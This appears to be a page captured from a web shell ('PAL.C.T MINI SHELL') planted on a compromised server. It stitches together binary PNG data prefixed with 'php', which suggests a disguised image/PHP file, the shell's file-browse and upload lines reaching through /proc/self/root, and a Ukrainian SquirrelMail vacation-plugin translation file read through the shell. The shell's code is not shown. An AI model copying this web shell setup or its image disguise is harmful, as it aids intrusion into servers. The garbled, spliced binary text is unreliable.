php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/vacation_local.po

# Ukrainian translation of SquirrelMail vacation_local plugin
# Copyright (c) 2006-2009 The SquirrelMail Project Team
# Serhij Dubyk <dubyk@library.lviv.ua>, 2006
# $Id: vacation_local.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: vacation_local 2.0\n"
"POT-Creation-Date: 2005-07-20 17:05+0200\n"
"PO-Revision-Date: 2006-06-19 17:50+0200\n"
"Last-Translator: Сергій Дубик <dubyk@library.lviv.ua>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Language: Ukrainian\n"
"X-Poedit-Country: UKRAINE\n"
"X-Poedit-SourceCharset: utf-8\n"

msgid "Vacation Message"
msgstr "Повідомлення про канікули"

msgid "Set up an auto-reply message and optionally forward your incoming email. This can be useful when you are away on vacation."
msgstr "Встановлення повідомлення для авто-відповіді та опціональне перенаправлення Вашої вхідної електронічної пошти. Це може бути корисне, наприклад, коли у Вас канікули."

msgid "Bad characters in list of forwarding address."
msgstr "Погані символи у списку адрес перенаправлення."

msgid "Options"
msgstr "Параметри"

msgid "Change Vacation Message"
msgstr "Зміна повідомлення про відпустку"

msgid "Settings Saved"
msgstr "Налаштування збережено"

msgid "Send auto-reply to sender?"
msgstr "Слати авто-відповідь відправникові?"

msgid "Vacation subject:"
msgstr "Тема канікул:"

msgid "Vacation message:"
msgstr "Повідомлення про канікули:"

msgid "Forward incoming messages to addresses listed below?"
msgstr "Пересилати вхідні листи на адреси перераховані нижче?"

msgid "No local delivery; forward and/or auto-reply only."
msgstr "Немає локальної доставки; лише перенапралення та/чи авто-відповідь."

msgid "Forwarding email addresses (one address per line)"
msgstr "Поштові адреси для перенаправлення (одна одреса на рядок)"

msgid "Submit"
msgstr "Затвердити"

msgid "Error: Could not bind to LDAP server."
msgstr "Помилка: не вдається пов`язатися зі сервером LDAP."

#, php-format
msgid "Error: Could not find FTP server for %s in LDAP server."
msgstr "Помилка: не вдається знайти FTP-сервер для %s у LDAP-сервері."

msgid "Error: Could not connect to LDAP server."
msgstr "Помилка: не вдається з`єднатися зі LDAP -сервером."

msgid "Error: Unable to connect to FTP server. Please try again later."
msgstr "Помилка: невдається з`єднатися зі FTP-сервером.  Будь-ласка, спробуйте ще раз пізніше."

msgid "Error: Unable to log in to FTP server. Please contact your system administrator."
msgstr "Помилка: невдається залогуватися на FTP -сервер. Сконтактуйтеся з Вашим системним адмінстратором."

msgid "Error: Unable to switch to passive FTP mode. Please contact your system administrator."
msgstr "Помилка: невдається перемкнутися на пасивний режим FTP. Сконтактуйтеся з Вашим системним адмінстратором."

msgid "Error: Unable to upload file. Please contact your system administrator."
msgstr "Помилка: невдається вивантажити файл. Сконтактуйтеся з Вашим системним адмінстратором."

msgid "An error occurred uploading the file:"
msgstr "Трапилася помилка при вивантаженні файлу: "

msgid "Error: unable to download file. Please contact your system administrator."
msgstr "Помилка: невдається завантажити файл. Сконтактуйтеся з Вашим системним адмінстратором."

msgid "An error occurred downloading the file:"
msgstr "Трапилася помилка при завантаженні файлу: "

msgid "Error: unable to delete file. Please contact your system administrator."
msgstr "Помилка: невдається видалити файл. Сконтактуйтеся з Вашим системним адмінстратором."

msgid "An error occurred deleting the file:"
msgstr "Трапилася помилка при видаленні файлу: "

msgid "Unknown action:"
msgstr "Невідома дія:"

msgid "An error occurred attempting to read temp file; check permissions on attachments directory."
msgstr "Трапилася помилка при спробі читати тимчасовий файл; перевірте дозволи на теку приєднань."

msgid "An error occurred attempting to create temp file; check permissions on attachments directory."
msgstr "Трапилася помилка при спробі створити тимчасовий файл; перевірте дозволи на теку приєднань."

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`